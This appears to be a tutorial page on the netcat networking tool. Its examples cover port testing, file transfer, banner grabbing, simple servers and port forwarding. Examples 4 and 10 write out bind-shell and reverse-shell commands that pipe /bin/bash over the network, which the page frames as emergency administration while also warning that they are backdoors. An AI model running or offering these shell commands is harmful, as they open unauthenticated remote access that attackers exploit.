🌐 nc (netcat) - The Network Swiss Army Knife

Purpose: The nc (netcat) command is a versatile networking tool for reading and writing data across network connections. It can act as a client or server for TCP/UDP connections, making it invaluable for testing, debugging, and creating simple network services.
Basic Syntax: nc [options] [hostname] [port]
Installation: Usually pre-installed, but if not:
Debian/Ubuntu: sudo apt install netcat or netcat-traditional
RHEL/CentOS: sudo yum install nc
⚠️ Security Note: Netcat can be used maliciously. Only use on systems you own or have permission to test. Many security tools flag netcat activity. Never leave netcat listeners running in production.

📋 10 Detailed Examples

Example 1: Simple Port Testing (Port Scanner Alternative)

Check if a port is open on a remote host:

# Test single port
nc -zv google.com 80

# Test port range
nc -zv 192.168.1.1 20-25

# Test multiple specific ports
nc -zv example.com 22 80 443

Sample Output (port open):

Connection to google.com 80 port [tcp/http] succeeded!

Sample Output (port closed):

nc: connect to google.com port 81 (tcp) failed: Connection refused

Options explained:

Use Cases:

Example 2: Create Simple TCP Server (Listener)

Start a TCP server listening on a port:

# Listen on port 8080
nc -l 8080

# Listen on specific interface
nc -l -s 192.168.1.10 8080

# Listen and keep alive after disconnect
nc -l -k 8080

On client side, connect to the server:

nc 192.168.1.10 8080

Type messages on either side and press Enter - they'll appear on the other end!

Options explained:

Real-World Uses:

Example 3: File Transfer Over Network

Transfer files between systems without SSH/FTP:

On receiving system (destination):

nc -l 9999 > received_file.tar.gz

On sending system (source):

nc 192.168.1.50 9999 < file_to_send.tar.gz

With progress monitoring (using pv):

# Sender
pv file.tar.gz | nc 192.168.1.50 9999

# Receiver
nc -l 9999 | pv > received_file.tar.gz

Transfer entire directory:

# Receiver
nc -l 9999 | tar xzvf -

# Sender
tar czvf - /path/to/directory | nc 192.168.1.50 9999

When to use:

Security Warning: Data is sent unencrypted! Only use on trusted networks. Use SSH/SCP for production transfers.
Example 4: Remote Command Execution (Bind Shell)

Execute commands remotely (useful for troubleshooting):

On target system, create bind shell:

# Make bash available on port 5555
nc -l 5555 -e /bin/bash

From remote system, connect and execute commands:

nc target_host 5555

Now you can type commands that execute on target system.

Alternative without -e flag (OpenBSD nc):

# On listener
mkfifo /tmp/pipe
cat /tmp/pipe | /bin/bash 2>&1 | nc -l 5555 > /tmp/pipe

# Connect from remote
nc target_host 5555
⚠️ EXTREME SECURITY WARNING: This creates an unencrypted, unauthenticated backdoor! ONLY use in isolated test environments. This technique is commonly used by malware. Never run this on production systems or networks.

Legitimate use case: Emergency access to a locked-down system in a controlled lab environment when SSH is unavailable.

Example 5: Banner Grabbing and Service Identification

Connect to services and retrieve version information:

# HTTP banner grab
echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc example.com 80

# SMTP banner
nc mail.example.com 25

# SSH version
nc example.com 22

# FTP banner
nc ftp.example.com 21

HTTP example with full output:

$ echo -e "GET / HTTP/1.0\r\n\r\n" | nc google.com 80
HTTP/1.0 200 OK
Date: Sun, 25 Jan 2026 15:30:00 GMT
Server: gws
Content-Type: text/html
[... HTML content ...]

SMTP conversation:

$ nc smtp.example.com 25
220 smtp.example.com ESMTP Postfix
HELO test.com
250 smtp.example.com
QUIT
221 2.0.0 Bye

Uses:

Example 6: UDP Communication and Testing

Work with UDP protocol (connectionless):

# UDP listener
nc -u -l 9999

# UDP client
nc -u target_host 9999

# Test UDP port
nc -u -zv 192.168.1.1 53

# Send single UDP packet
echo "test data" | nc -u -w1 target_host 9999

DNS testing example:

# Send raw DNS query (test DNS server response)
echo -n "test" | nc -u 8.8.8.8 53

Syslog testing:

# Send test syslog message
echo "<13>Jan 25 15:30:00 test message" | nc -u -w0 syslog.server.com 514

Options for UDP:

Common UDP services to test:

Example 7: Network Throughput Testing

Measure raw network speed between two hosts:

On receiver (faster disk or /dev/null):

# Receive data and discard (test network only)
nc -l 9999 > /dev/null

# Or receive to file
nc -l 9999 | pv > /dev/null

On sender:

# Send zeros (test network only)
dd if=/dev/zero bs=1M count=1000 | nc receiver_ip 9999

# With speed monitoring
dd if=/dev/zero bs=1M count=1000 | pv | nc receiver_ip 9999

Complete throughput test script:

#!/bin/bash
# network-speed-test.sh

RECEIVER_IP=$1
PORT=9999
TEST_SIZE_MB=1000

if [ -z "$RECEIVER_IP" ]; then
    echo "Usage: $0 <receiver_ip>"
    exit 1
fi

echo "Testing network throughput to $RECEIVER_IP"
echo "Sending ${TEST_SIZE_MB}MB of data..."

START=$(date +%s)
dd if=/dev/zero bs=1M count=$TEST_SIZE_MB 2>/dev/null | nc -w 5 $RECEIVER_IP $PORT
END=$(date +%s)

ELAPSED=$((END - START))
THROUGHPUT=$((TEST_SIZE_MB / ELAPSED))

echo "Transfer completed in $ELAPSED seconds"
echo "Throughput: ${THROUGHPUT} MB/s"

Usage:

# On receiver
nc -l 9999 > /dev/null

# On sender
bash network-speed-test.sh 192.168.1.100
Example 8: Simple Web Server for File Sharing

Serve files over HTTP without installing a web server:

# Serve single file
while true; do nc -l 8080 < index.html; done

# More sophisticated version with proper HTTP headers
while true; do
    echo -e "HTTP/1.1 200 OK\r\n\r\n$(cat file.html)" | nc -l 8080
done

Serve any file with proper headers:

#!/bin/bash
# simple-http-server.sh

PORT=8080
FILE=$1

if [ -z "$FILE" ]; then
    echo "Usage: $0 <file_to_serve>"
    exit 1
fi

echo "Serving $FILE on port $PORT"
echo "Access via: http://localhost:$PORT"

while true; do
    { echo -ne "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n"; 
      cat "$FILE"; } | nc -l $PORT
done

Quick file download server:

#!/bin/bash
# Download link for a file

FILE="important-document.pdf"
PORT=9000

echo "File available at: http://$(hostname -I | awk '{print $1}'):$PORT"
echo "Press Ctrl+C to stop"

{ echo -ne "HTTP/1.1 200 OK\r\n";
  echo -ne "Content-Type: application/octet-stream\r\n";
  echo -ne "Content-Disposition: attachment; filename=\"$FILE\"\r\n\r\n";
  cat "$FILE"; } | nc -l $PORT

Perfect for quickly sharing files in the office or home network!

Example 9: Network Troubleshooting and Debugging Tool

Comprehensive network debugging script:

#!/bin/bash
# netcat-debug.sh - Network troubleshooting with netcat

TARGET_HOST=$1
TEST_PORTS=(22 80 443 3306 5432)

if [ -z "$TARGET_HOST" ]; then
    echo "Usage: $0 <target_host>"
    exit 1
fi

print_header() {
    echo "========================================"
    echo "$1"
    echo "========================================"
}

print_header "Testing connectivity to $TARGET_HOST"

# 1. Test basic connectivity
print_header "ICMP Connectivity (ping)"
ping -c 3 $TARGET_HOST

# 2. Test common ports
print_header "Port Connectivity Tests"
for port in "${TEST_PORTS[@]}"; do
    echo -n "Port $port: "
    if nc -z -w 2 $TARGET_HOST $port 2>/dev/null; then
        echo "✓ OPEN"
        # Try to grab banner
        timeout 2 nc $TARGET_HOST $port </dev/null 2>/dev/null | head -1
    else
        echo "✗ CLOSED/FILTERED"
    fi
done

# 3. Test HTTP response
print_header "HTTP Response Test"
echo -e "GET / HTTP/1.0\r\n\r\n" | nc -w 2 $TARGET_HOST 80 2>/dev/null | head -10

# 4. Check connection timing
print_header "Connection Timing"
for i in {1..5}; do
    TIME=$(time ( nc -z -w 1 $TARGET_HOST 80 ) 2>&1 | grep real | awk '{print $2}')
    echo "Attempt $i: $TIME"
done

# 5. Test UDP connectivity (DNS)
print_header "UDP Test (DNS on port 53)"
if nc -u -z -w 2 $TARGET_HOST 53 2>/dev/null; then
    echo "UDP port 53: Appears reachable"
else
    echo "UDP port 53: Not reachable (may be normal for UDP)"
fi

print_header "Troubleshooting Complete"

Usage:

bash netcat-debug.sh example.com
Example 10: Advanced Netcat Techniques - Port Forwarding and Proxying

Create port forwarding and simple proxies:

Simple port forwarding:

# Forward local port 8080 to remote port 80
mkfifo /tmp/pipe
nc -l 8080 < /tmp/pipe | nc remote_host 80 > /tmp/pipe

Reverse shell (for remote administration in emergencies):

# On your control machine (listener)
nc -l 4444

# On remote machine (connects back)
nc your_ip 4444 -e /bin/bash

Chat server with multiple clients:

#!/bin/bash
# Simple chat server

PORT=9999
FIFO="/tmp/chat_fifo"

mkfifo $FIFO
trap "rm -f $FIFO" EXIT

echo "Chat server started on port $PORT"

while true; do
    nc -l $PORT < $FIFO | tee -a chat.log > $FIFO
done

Connection broker/proxy:

#!/bin/bash
# connection-proxy.sh - Route connections through intermediate host

LOCAL_PORT=8080
REMOTE_HOST=internal.server.com
REMOTE_PORT=80

echo "Proxying :$LOCAL_PORT -> $REMOTE_HOST:$REMOTE_PORT"

while true; do
    nc -l $LOCAL_PORT -c "nc $REMOTE_HOST $REMOTE_PORT"
done

Load balancer simulation:

#!/bin/bash
# simple-load-balancer.sh

BACKENDS=("192.168.1.10:80" "192.168.1.11:80" "192.168.1.12:80")
LOCAL_PORT=8080
CURRENT=0

while true; do
    BACKEND=${BACKENDS[$CURRENT]}
    HOST=$(echo $BACKEND | cut -d: -f1)
    PORT=$(echo $BACKEND | cut -d: -f2)
    
    echo "Routing to $BACKEND"
    nc -l $LOCAL_PORT -c "nc $HOST $PORT"
    
    # Round-robin
    CURRENT=$(( (CURRENT + 1) % ${#BACKENDS[@]} ))
done

📊 Complete Options Reference

Option Description Example
-l Listen mode (act as server) nc -l 8080
-p port Specify source port nc -p 5555 host 80
-u Use UDP instead of TCP nc -u host 53
-v Verbose output nc -v host 80
-z Zero-I/O mode (scanning) nc -zv host 20-25
-w seconds Timeout for connections nc -w 5 host 80
-k Keep listening after disconnect nc -l -k 8080
-n No DNS resolution nc -n 192.168.1.1 80
-e program Execute program after connect nc -l -e /bin/bash 8080
-s address Specify source address nc -s 192.168.1.10 host 80

🎯 Common Use Cases Quick Reference

Task Command
Test if port is open nc -zv host 80
Create simple chat nc -l 8080 / nc host 8080
Transfer file nc -l 9999 > file / nc host 9999 < file
Banner grabbing echo "" | nc host 80
Port scan range nc -zv host 1-1000
UDP test nc -u -zv host 53
Simple web server while true; do nc -l 80 < index.html; done

🔒 Security Best Practices

Modern Alternatives:

📚 Quick Reference Card

Scenario Server (Listener) Client
Chat nc -l 8080 nc host 8080
File Transfer nc -l 9999 > file nc host 9999 < file
Port Test nc -l 8080 nc -zv host 8080
UDP Communication nc -u -l 9999 nc -u host 9999